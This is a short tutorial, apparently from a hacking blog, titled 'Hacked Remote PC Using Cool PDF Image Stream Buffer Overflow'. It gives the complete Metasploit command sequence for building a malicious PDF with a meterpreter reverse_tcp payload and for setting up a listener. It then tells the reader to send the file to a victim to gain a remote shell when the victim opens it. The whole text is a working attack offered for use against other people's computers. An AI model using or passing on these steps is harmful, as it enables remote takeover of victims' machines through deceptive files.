Hacked Remote PC Using Cool PDF Image Stream Buffer Overflow

This module exploits a stack buffer overflow in Cool PDF Reader prior to version 3.0.2.256. The vulnerability is triggered when opening a malformed PDF file that contains a specially crafted image stream. This module has been tested successfully on Cool PDF 3.0.2.256 over Windows XP SP3 and Windows 7 SP

Exploit Targets

Windows XP SP 3

Cool PDF 3.0.2.256

Requirement

Attacker: Kali Linux

Victim PC: Windows 7

Open Kali Linux terminal type msfconsole

Now type use exploit/windows/fileformat/coolpdf_image_strem_bof

msf exploit (coolpdf_image_strem_bof)>set payload windows/meterpreter/reverse_tcp

msf exploit (coolpdf_image_strem_bof)>set lhost 192.168.0.107 (IP of Local Host)

msf exploit (coolpdf_image_strem_bof)>exploit

After we successfully generate the malicious pdf File, it will stored on your local computer

/root/.msf4/local/msf.pdf

Now we need to set up a listener to handle reverse connection sent by victim when the exploit successfully executed.

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.0.107

exploit

Now send your msf.pdf files to victim, as soon as they download and open it. Now you can access meterpreter shell on victim computer.